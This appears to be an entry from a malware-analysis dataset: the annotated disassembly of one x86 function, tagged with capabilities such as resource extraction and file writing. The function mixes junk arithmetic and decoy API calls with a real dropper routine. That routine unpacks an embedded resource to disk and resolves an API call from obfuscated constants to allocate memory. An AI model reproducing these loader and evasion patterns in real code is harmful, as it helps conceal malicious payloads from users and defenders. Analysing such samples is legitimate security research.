Function at 0x411200
Capabilities:
Extract resource via kernel32 functions
Get file size
Terminate process
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x74
push 0xffffffffffffffff
push 0x431fa8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x798
push esi
push edi
mov dword [ebp - 0x24], 0
movzx eax, byte [0x446e5c]
test eax, eax
je 0x411249
mov ecx, dword [0x446e70]
add ecx, dword [0x446778]
mov dword [0x446798], ecx
mov edx, dword [0x44677c]
imul edx, dword [0x4467ac]
imul edx, dword [0x4468d8]
sub edx, dword [0x446e44]
mov eax, dword [0x446910]
sub eax, edx
mov dword [0x446910], eax
mov ecx, dword [0x4467a0]
cmp ecx, dword [0x446a24]
jl 0x41129e
mov eax, dword [0x4467a0]
cdq
mov ecx, 0xf
idiv ecx
add eax, dword [0x4467a4]
mov edx, dword [0x446798]
sub edx, eax
mov dword [0x446798], edx
mov eax, dword [0x446778]
add eax, dword [0x44677c]
je 0x4112d0
mov ecx, dword [0x446e70]
sub ecx, dword [0x446a24]
movzx edx, byte [0x446774]
movzx eax, byte [0x4467a0]
imul edx, eax
add ecx, edx
mov dword [0x4467a0], ecx
movzx ecx, word [0x4467a4]
test ecx, ecx
je 0x411312
mov edx, dword [0x446c5d]
imul edx, dword [0x44678c]
imul edx, dword [0x446e54]
sub edx, dword [0x446790]
movzx eax, word [0x446774]
sub edx, eax
add edx, dword [0x446b1a]
mov ecx, dword [0x446e5c]
sub ecx, edx
mov dword [0x446e5c], ecx
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x16c], 1
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x170], edx
mov eax, dword [ebp + 0x7c]
mov dword [ebp - 0x174], eax
mov dword [ebp + 0x5c], 0
mov dword [ebp - 0x178], 1
mov dword [ebp - 0x17c], 1
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x184], 0
mov byte [ebp + 0x47], 1
mov byte [ebp + 0x46], 1
mov dword [ebp + 0x60], 0
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0x446918
call dword [sym.imp.AVIFIL32.dll_AVIFileInit]
cmp dword [ebp + 0x5c], 0
je 0x4113d8
push 0
push 0
push 0
push 0x73646976
mov ecx, dword [ebp - 0xe4]
push ecx
lea edx, [ebp + 0x60]
push edx
call dword [sym.imp.AVIFIL32.dll_AVIStreamOpenFromFileA]
test eax, eax
je 0x4113d8
push 0x30
push str.Error
push str.Failed_To_Open_The_AVI_Stream
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp dword [0x446e44], 0
je 0x4113f7
push 0x8c
lea eax, [ebp - 0x254]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
call dword [sym.imp.AVIFIL32.dll_AVIStreamInfoA]
cmp dword [ebp + 0x5c], 0
je 0x41142e
mov edx, dword [ebp - 0x218]
sub edx, dword [ebp - 0x220]
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x214]
sub eax, dword [ebp - 0x21c]
mov dword [ebp - 0x18c], eax
mov ecx, dword [ebp + 0x60]
push ecx
call dword [sym.imp.AVIFIL32.dll_AVIStreamLength]
mov dword [ebp - 0x20], eax
cmp dword [0x44677c], 0
je 0x41144f
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp + 0x60]
push eax
call dword [sym.imp.AVIFIL32.dll_AVIStreamSampleToTime]
cdq
idiv dword [ebp - 0x20]
mov dword [ebp - 0x194], eax
mov ecx, 1
mov word [ebp - 0x1bc], cx
mov edx, 0x18
mov word [ebp - 0x1ba], dx
mov dword [ebp - 0x1c4], 0x100
mov dword [ebp - 0x1c0], 0x100
mov dword [ebp - 0x1b8], 0
push 0
push 0
lea eax, [ebp - 0xe8]
push eax
push 0
lea ecx, [ebp - 0x1c8]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [0x446e60], eax
mov eax, dword [ebp - 0x190]
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
mov edx, dword [ebp + 0x5c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
add eax, 1
mov dword [0x446778], eax
cmp dword [0x446e44], 0
je 0x4114f6
cmp dword [ebp - 0x19c], 0
jne 0x4114f6
push 0x30
push str.Error
push str.Failed
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp], 0
mov dword [ebp + 0x54], 1
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x7c]
mov dword [ebp - 0x120], ecx
mov dword [ebp + 0x68], 0
mov dword [ebp + 0x70], 1
mov dword [ebp + 0x58], 0
mov edx, dword [ebp + 0x70]
add edx, 2
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x1a0], 0
mov eax, dword [0x446794]
imul eax, dword [ebp + 0x68]
imul eax, dword [0x446e44]
add eax, dword [ebp + 0x70]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0xf0], 0xa
mov ecx, dword [ebp - 0xf0]
add ecx, 0x2c
mov dword [ebp + 4], ecx
mov byte [ebp - 0x394], 0
push 0xff
push 0
lea edx, [ebp - 0x393]
push edx
call fcn.0041abe0
add esp, 0xc
mov dword [ebp - 0x64], 0
xor eax, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x134], 0
xor ecx, ecx
mov dword [ebp - 0x130], ecx
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x128], ecx
mov dword [ebp + 0x18], 0
xor edx, edx
mov dword [ebp + 0x1c], edx
mov dword [ebp + 0x20], edx
mov dword [ebp + 0x24], edx
xor eax, eax
mov word [ebp - 0x7a4], ax
push 0x206
push 0
lea ecx, [ebp - 0x7a2]
push ecx
call fcn.0041abe0
add esp, 0xc
mov dword [ebp - 0xf4], 0
mov edx, dword [0x446e44]
push edx
push 0x446e78
mov eax, dword [ebp - 0xf4]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
cmp dword [0x446798], 0
jne 0x41162a
movzx ecx, byte [0x446778]
movzx edx, byte [0x446774]
imul ecx, edx
mov eax, dword [ebp + 0x70]
sub eax, ecx
mov dword [ebp + 0x70], eax
mov dword [ebp + 0x40], 0
jmp 0x41163c
mov ecx, dword [ebp + 0x40]
add ecx, 1
mov dword [ebp + 0x40], ecx
mov edx, dword [0x446e44]
add edx, dword [0x44677c]
add edx, dword [0x446e60]
mov eax, 3
sub eax, edx
imul eax, dword [0x4467a4]
cmp dword [ebp + 0x40], eax
jge 0x4119b5
xor ecx, ecx
mov word [ebp - 0x59c], cx
push 0x206
push 0
lea edx, [ebp - 0x59a]
push edx
call fcn.0041abe0
add esp, 0xc
mov dword [ebp - 0xf8], 0
push 0
push 0
lea eax, [ebp - 0xf8]
push eax
push 0
lea ecx, [ebp - 0x59c]
push ecx
call dword [sym.imp.SHELL32.dll_SHParseDisplayName]
cmp dword [ebp + 0x70], 0
jne 0x4116d3
mov ecx, dword [0x446e64]
add ecx, 0x5b
mov eax, dword [0x446e70]
cdq
idiv ecx
movzx edx, word [ebp - 0x58]
imul eax, edx
add eax, dword [0x4467a0]
mov dword [0x4467a0], eax
jmp 0x4116e5
movzx eax, word [ebp + 0x70]
sub eax, dword [0x446774]
mov ecx, dword [ebp + 0x24]
sub ecx, eax
mov dword [ebp + 0x24], ecx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
add eax, 1
mov dword [ebp - 0x3c], eax
mov edx, dword [0x446778]
mov dword [ebp - 0x11c], edx
push 1
push 0x40edf0
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.COMCTL32.dll_RemoveWindowSubclass]
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [ebp + 4], eax
push 0
push 0
mov ecx, dword [0x446e44]
push ecx
call dword [sym.imp.GDI32.dll_SetTextJustification]
push 0
push 0
call dword [sym.imp.WININET.dll_InternetSetPerSiteCookieDecisionA]
mov dword [ebp - 0x28], eax
cmp dword [0x4467ac], 0
je 0x41175e
mov edx, dword [ebp + 0x68]
sub edx, dword [ebp + 0x54]
mov dword [ebp + 0x68], edx
jmp 0x41177f
movzx eax, byte [ebp + 0x70]
mov ecx, dword [0x44677c]
add ecx, 0x48
cdq
idiv ecx
mov edx, dword [0x4467ac]
sub edx, eax
add edx, dword [0x446778]
mov dword [ebp + 0x70], edx
mov eax, dword [0x446e60]
cmp eax, dword [ebp - 0x28]
jne 0x4117db
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [0x44677c]
jne 0x4117db
mov edx, dword [ebp + 4]
cmp edx, dword [0x446778]
jne 0x4117db
mov eax, dword [0x43e8b0]
imul eax, dword [ebp - 0x120]
test eax, eax
je 0x4117d0
mov ecx, dword [0x446e44]
sub ecx, dword [ebp + 0x70]
sub ecx, dword [0x446e64]
sub ecx, dword [0x4467ac]
add ecx, dword [0x446790]
mov dword [0x446790], ecx
mov edx, dword [0x44679c]
mov dword [ebp + 0x58], edx
jmp 0x4117fd
mov eax, dword [ebp + 0x54]
imul eax, dword [0x4467ac]
mov ecx, dword [ebp + 0x68]
imul ecx, dword [0x43e8b0]
add eax, ecx
mov dword [0x43e8b0], eax
mov dword [ebp + 0x58], 0
lea eax, [ebp - 0x7a4]
cdq
and edx, 7
add eax, edx
sar eax, 3
lea edx, [ebp - 0x394]
sub edx, eax
cmp edx, dword [ebp + 0x70]
ja 0x411837
mov ecx, dword [0x446e60]
add ecx, 0x5f
mov eax, dword [0x43e8b0]
cdq
idiv ecx
imul eax, dword [0x446790]
add eax, dword [ebp]
mov dword [ebp], eax
cmp dword [ebp + 0x58], 0
je 0x4118df
mov edx, dword [0x446e60]
mov dword [ebp + 0x3c], edx
mov dword [ebp + 0x58], 0
mov dword [ebp - 0x124], 0x4392c8
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp + 0x3c]
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [ebp - 0x50]
add edx, 0x28
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x48]
sub eax, 0x28
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 0x28
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x54]
add edx, 0x28
mov dword [ebp - 0x54], edx
lea eax, [ebp - 0x294]
push eax
mov ecx, dword [ebp + 0x3c]
push ecx
call dword [sym.imp.USER32.dll_BeginPaint]
mov dword [ebp - 0x10], eax
push 0xff0000
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0x10
lea eax, [ebp - 0x54]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
lea eax, [ebp - 0x294]
push eax
mov ecx, dword [ebp + 0x3c]
push ecx
call dword [sym.imp.USER32.dll_EndPaint]
jmp 0x411960
movzx eax, word [0x446774]
movzx edx, word [0x446778]
imul eax, edx
cdq
mov ecx, 0x1f
idiv ecx
cmp eax, dword [0x4467a4]
jle 0x41191f
mov ecx, dword [0x446e44]
add ecx, 0x50
mov eax, dword [ebp + 0x68]
xor edx, edx
div ecx
imul eax, dword [0x446774]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
jmp 0x41192b
mov edx, dword [0x446a24]
mov dword [0x446e70], edx
mov eax, dword [0x446e70]
add eax, dword [0x446794]
mov dword [0x446790], eax
movzx ecx, byte [0x446e44]
movzx edx, word [ebp - 0x128]
imul ecx, edx
add ecx, dword [ebp + 0x24]
sub ecx, dword [ebp - 0x134]
sub ecx, dword [ebp + 0x20]
mov eax, dword [ebp + 0x68]
sub eax, ecx
mov dword [ebp + 0x68], eax
mov ecx, dword [0x44679c]
add ecx, dword [ebp - 0x5c]
je 0x411985
mov edx, dword [ebp + 0x70]
sub edx, dword [ebp + 0x1c]
add edx, dword [0x446774]
sub edx, dword [0x446e70]
mov dword [0x4467a0], edx
jmp 0x4119b0
mov eax, dword [ebp + 0x18]
cdq
mov ecx, 0x18
idiv ecx
movzx edx, byte [0x43e8b0]
add eax, edx
movzx ecx, word [0x446798]
sub eax, ecx
movzx edx, word [ebp + 0x68]
sub eax, edx
mov ecx, dword [ebp + 0x70]
sub ecx, eax
mov dword [ebp + 0x70], ecx
jmp 0x411633
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x6c], 0
mov edx, dword [0x4467a0]
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x70], 7
mov dword [ebp - 0x164], 0
xor eax, eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
cmp dword [0x44677c], 0
je 0x411a54
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0x150]
push ecx
mov edx, 1
imul eax, edx, 0x28
add eax, dword [ebp - 0x68]
push eax
push 1
mov ecx, dword [ebp - 0x6c]
add ecx, dword [ebp - 0x70]
sub ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp - 0x78]
push edx
call dword [sym.imp.AVIFIL32.dll_AVIStreamWrite]
push 0x4392cc
push 0x12
push 1
push 2
push 3
push 0x81
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1e
call dword [sym.imp.GDI32.dll_CreateFontA]
mov eax, dword [ebp - 0x18]
imul eax, dword [0x446790]
imul eax, dword [0x446e44]
add eax, 2
mov dword [0x446a24], eax
lea ecx, [ebp + 0x48]
call fcn.00415dc0
mov dword [ebp - 4], 0
push 0x446794
lea ecx, [ebp + 0x48]
call fcn.00414350
mov ecx, dword [0x446a20]
mov dword [ebp - 0x7c], ecx
lea edx, [ebp - 0x7c]
push edx
lea ecx, [ebp + 0x48]
call fcn.00414420
mov eax, dword [0x446774]
mov dword [ebp - 0x80], eax
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp + 0x48]
call fcn.004142f0
cmp dword [ebp - 0x5c], 0
jne 0x411b19
movzx ecx, word [0x446e70]
mov esi, dword [0x446e44]
add esi, 0x5f
mov eax, dword [ebp - 0x60]
cdq
idiv esi
imul eax, dword [ebp - 0x5c]
sub ecx, eax
sub ecx, dword [ebp + 0x70]
movzx edx, byte [0x4467a0]
sub ecx, edx
movzx eax, word [0x4467a4]
add ecx, eax
mov dword [ebp - 0x130], ecx
jmp 0x411b3c
mov ecx, dword [0x446e70]
add ecx, dword [0x446a24]
add ecx, dword [0x4467a4]
sub ecx, dword [0x44677c]
sub ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x18]
sub edx, ecx
mov dword [ebp + 0x18], edx
mov eax, dword [ebp + 0x54]
mov dword [ebp - 0x84], eax
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp + 0x48]
call fcn.004142f0
lea edx, [ebp + 0x48]
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x8c]
add ecx, 4
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x90]
cmp dword [edx], 0
jne 0x411b8c
mov dword [ebp - 0x14], 1
jmp 0x411b93
mov dword [ebp - 0x14], 0
mov al, byte [ebp - 0x14]
mov byte [ebp + 0x67], al
movzx ecx, byte [ebp + 0x67]
test ecx, ecx
je 0x411bbf
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, 0x19
div ecx
sub eax, dword [0x4467a0]
sub eax, dword [0x44677c]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x68], eax
lea ecx, [ebp + 0x48]
call fcn.004141e0
mov edx, dword [0x44677c]
add edx, 0x57
mov dword [ebp + 0x38], edx
mov eax, dword [ebp + 0x38]
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp + 0x38]
sub ecx, 1
mov dword [ebp + 0x38], ecx
cmp dword [ebp - 0x94], 0
je 0x411cd7
mov dword [ebp - 0x98], 3
mov dword [ebp - 0xa4], 2
mov edx, dword [ebp + 0x70]
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa0], 1
mov dword [ebp - 0x9c], 3
mov dword [ebp - 0xac], 0
mov eax, dword [ebp - 0x98]
imul eax, dword [ebp - 0x9c]
sub eax, dword [ebp - 0xa0]
push eax
mov ecx, dword [ebp - 0xa4]
imul ecx, dword [ebp - 0xa8]
push ecx
call dword [sym.imp.USER32.dll_SetCaretPos]
mov edx, dword [ebp - 0xac]
push edx
call dword [sym.imp.USER32.dll_ShowCaret]
movzx eax, word [0x446778]
cmp eax, dword [0x43e8b0]
jl 0x411c9b
mov eax, dword [0x43e8b0]
cdq
mov ecx, 0x2d
idiv ecx
mov ecx, eax
mov esi, dword [0x446794]
add esi, 0x50
mov eax, dword [ebp + 0x70]
xor edx, edx
div esi
imul eax, dword [ebp + 0x18]
sub ecx, eax
mov dword [ebp + 0x54], ecx
jmp 0x411cd2
mov ecx, dword [0x446778]
add ecx, 0x44
mov eax, dword [ebp + 0x70]
xor edx, edx
div ecx
movzx edx, word [0x44677c]
add eax, edx
mov ecx, dword [0x446798]
imul ecx, dword [0x4467a0]
imul ecx, dword [0x446e64]
add eax, ecx
mov edx, dword [ebp + 0x18]
sub edx, eax
mov dword [ebp + 0x18], edx
jmp 0x411bd3
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x48]
call fcn.004141e0
lea ecx, [ebp + 0x48]
call fcn.00414990
mov dword [ebp - 0xbc], str.open
mov dword [ebp - 0xb8], str.file
mov dword [ebp - 0xc8], str.close
push 0x4392e8
push 0
push 0
push 0
push 0
push 0x80
push 0
push 0
push 0
push 0x190
push 0
push 0
push 0
push 0x48
push 0x60
push 0xa
call dword [sym.imp.KERNEL32.DLL_MulDiv]
neg eax
push eax
call dword [sym.imp.GDI32.dll_CreateFontW]
mov dword [ebp + 0x34], eax
mov dword [ebp + 0x6c], 0
cmp dword [ebp + 0x34], 0
je 0x411d5d
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
push 1
mov ecx, dword [ebp + 0x34]
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push 0x439304
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp + 0x50], eax
cmp dword [ebp + 0x50], 0
jne 0x411da4
mov edx, dword [ebp + 0x6c]
add edx, dword [0x446e44]
mov dword [ebp + 0x6c], edx
jmp 0x411dad
mov eax, dword [ebp + 0x6c]
add eax, 0x10
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x6c]
cdq
add eax, 0x7a4101d4
adc edx, 0xb74048f7
sub eax, 1
sbb edx, 0
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0x6c]
cdq
mov ecx, 0xcf56a7d6
sub ecx, eax
mov eax, 0x31fd1da7
sbb eax, edx
add ecx, 1
adc eax, 0
mov dword [ebp + 0x10], ecx
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0x6c]
cdq
push 0xf3be2527
push 0xcab19233
push edx
push eax
call fcn.0042f880
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
mov dword [ebp - 0x108], 0xd0b1961e
mov dword [ebp - 0x104], 0x2f71a37
mov dword [ebp - 0x30], 0x37
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], 0x1ced36d
mov dword [ebp - 0x34], 0
mov eax, dword [ebp + 0x6c]
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov eax, dword [ebp + 0x6c]
add eax, 8
cdq
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x13c], 0x37000
mov dword [ebp - 0x138], 0
push 0
mov ecx, dword [ebp + 0x34]
push ecx
push 0x30
mov edx, dword [ebp + 0x50]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0042f880
mov esi, eax
mov edi, edx
mov eax, dword [ebp + 0x6c]
cdq
push edx
push eax
mov ecx, dword [ebp - 0xfc]
push ecx
mov edx, dword [ebp - 0x100]
push edx
call fcn.0042f880
add esi, eax
adc edi, edx
mov dword [ebp - 0x110], esi
mov dword [ebp - 0x10c], edi
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0042f880
mov esi, eax
mov edi, edx
mov eax, dword [ebp + 0x6c]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x104]
push ecx
mov edx, dword [ebp - 0x108]
push edx
call fcn.0042f880
add esi, eax
adc edi, edx
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xdc], edi
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.0042f880
mov esi, eax
mov edi, edx
mov eax, dword [ebp + 0x6c]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call fcn.0042f880
add esi, eax
adc edi, edx
mov dword [ebp - 0xc0], esi
push 0x20
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0xb0], 0
je 0x411f5a
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x110]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10c]
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0xcc], eax
push 0
mov ecx, dword [ebp + 0x50]
push ecx
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0xb4], eax
push 0x20
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov dword [ebp + 0x2c], eax
cmp dword [ebp - 0xb4], 0
je 0x411fb0
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov edx, dword [ebp + 0x2c]
mov eax, dword [ebp - 0xe0]
mov dword [edx], eax
mov ecx, dword [ebp - 0xdc]
mov dword [edx + 4], ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
mov edx, dword [ebp + 0x50]
push edx
call dword [sym.imp.USER32.dll_DefDlgProcA]
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [ebp + 0x30], eax
cmp dword [ebp + 0x30], 0
jne 0x41200a
mov edx, dword [ebp - 0xc0]
xor eax, eax
mov ecx, dword [ebp + 0x2c]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov edx, dword [ebp + 0x30]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0xd4], eax
push 0
push 0x80
push 3
push 0
push 0
push 0x40000000
mov edx, dword [ebp - 0xc8]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp + 0x28], eax
cmp dword [ebp + 0x28], 0xffffffff
je 0x412076
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x44677c]
mov dword [ecx], eax
jmp 0x41208d
mov edx, dword [ebp + 0x2c]
push edx
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0xd8], eax
push 0
lea ecx, [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0xd0]
push edx
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [ebp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x4120e0
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x114]
adc eax, dword [ebp - 0x2c]
push edx
push 0x3000
mov ecx, dword [ebp - 0x13c]
push ecx
push 0
call dword [ebp - 0xd8]
mov dword [0x4467ac], eax
jmp 0x4120ea
mov edx, dword [ebp - 0x38]
mov eax, dword [0x44677c]
mov dword [eax], edx
mov ecx, dword [ebp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [0x4467a8], 0
jne 0x412112
mov edx, dword [0x446774]
imul edx, dword [0x4468d8]
mov dword [0x446774], edx
jmp 0x41215f
mov ecx, dword [0x446e60]
add ecx, 0x36
mov eax, dword [0x4467a8]
cdq
idiv ecx
mov ecx, eax
add ecx, dword [0x446798]
add ecx, dword [0x4467a4]
mov eax, dword [0x446778]
imul eax, dword [0x44679c]
mov esi, dword [0x446e60]
add esi, 0x32
cdq
idiv esi
add ecx, dword [0x4468d8]
add eax, ecx
mov edx, dword [0x446790]
sub edx, eax
mov dword [0x446790], edx
mov eax, dword [0x44690c]
imul eax, dword [0x4467a0]
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
mov ecx, dword [0x446e44]
sub ecx, eax
mov edx, dword [0x446e48]
add edx, dword [0x44678c]
cmp ecx, edx
je 0x412198
mov eax, dword [0x4467a0]
mov dword [0x446e48], eax
jmp 0x4121a4
mov ecx, dword [0x446e50]
mov dword [0x446798], ecx
movzx edx, byte [0x446784]
imul edx, dword [0x446790]
test edx, edx
je 0x4121c6
mov eax, dword [0x446784]
sub eax, dword [0x4467a8]
mov dword [0x446784], eax
mov ecx, dword [0x446790]
imul ecx, ecx, 0x446918
mov edx, dword [0x446c46]
sub edx, ecx
mov eax, dword [0x4468d8]
sub eax, edx
mov dword [0x4468d8], eax
mov eax, dword [0x446778]
cdq
mov ecx, 0x1c
idiv ecx
sub eax, dword [0x4468d8]
sub eax, dword [0x4467a0]
mov edx, dword [0x43e8b0]
sub edx, eax
mov dword [0x43e8b0], edx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
add ebp, 0x74
mov esp, ebp
pop ebp
ret